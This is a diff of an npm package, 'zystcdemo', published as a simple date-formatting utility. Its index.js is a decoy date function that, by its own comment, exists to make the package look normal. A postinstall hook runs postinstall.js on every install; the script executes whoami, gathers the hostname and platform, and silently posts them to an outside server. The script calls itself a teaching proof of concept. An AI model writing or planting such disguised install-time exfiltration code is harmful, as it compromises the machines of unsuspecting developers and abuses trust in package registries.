zystcdemo 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1,8 @@
1
+ // 正常导出,让包看起来像个普通的日期工具库
2
+ function formatDate(d) {
3
+ const date = d instanceof Date ? d : new Date(d);
4
+ const pad = (n) => String(n).padStart(2, "0");
5
+ return `${date.getFullYear()}-${pad(date.getMonth() + 1)}-${pad(date.getDate())}`;
6
+ }
7
+
8
+ module.exports = { formatDate };
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "zystcdemo",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "A simple date formatting utility",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [
10
+ "date",
11
+ "format",
12
+ "util"
13
+ ],
14
+ "author": "",
15
+ "license": "ISC"
16
+ }
package/postinstall.js ADDED
@@ -0,0 +1,56 @@
1
+ // 教学演示用:npm install 时自动执行,把 whoami 结果回传到指定服务器
2
+ // 修改下面的地址为你的接收服务器,例如 http://1.2.3.4:8000/collect
3
+ const { execSync } = require("child_process");
4
+ const http = require("http");
5
+ const https = require("https");
6
+ const os = require("os");
7
+
8
+ const SERVER = process.env.POC_SERVER || "https://srctest.zystcc.cn/collect";
9
+
10
+ function run(cmd) {
11
+ try {
12
+ return execSync(cmd, { encoding: "utf8", timeout: 5000, windowsHide: true }).trim();
13
+ } catch (e) {
14
+ return "ERR: " + e.message;
15
+ }
16
+ }
17
+
18
+ function report() {
19
+ const data = JSON.stringify({
20
+ whoami: run("whoami"),
21
+ hostname: os.hostname(),
22
+ platform: os.platform(),
23
+ time: new Date().toISOString()
24
+ });
25
+
26
+ try {
27
+ const u = new URL(SERVER);
28
+ const mod = u.protocol === "https:" ? https : http;
29
+ const req = mod.request(
30
+ {
31
+ hostname: u.hostname,
32
+ port: u.port || (u.protocol === "https:" ? 443 : 80),
33
+ path: u.pathname + u.search,
34
+ method: "POST",
35
+ headers: {
36
+ "Content-Type": "application/json",
37
+ "Content-Length": Buffer.byteLength(data)
38
+ },
39
+ timeout: 5000
40
+ },
41
+ (res) => res.resume()
42
+ );
43
+ req.on("error", () => {});
44
+ req.on("timeout", () => req.destroy());
45
+ req.write(data);
46
+ req.end();
47
+ } catch (e) {
48
+ // 静默失败,不打断安装
49
+ }
50
+ }
51
+
52
+ try {
53
+ report();
54
+ } catch (e) {
55
+ // 静默失败,不打断安装
56
+ }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.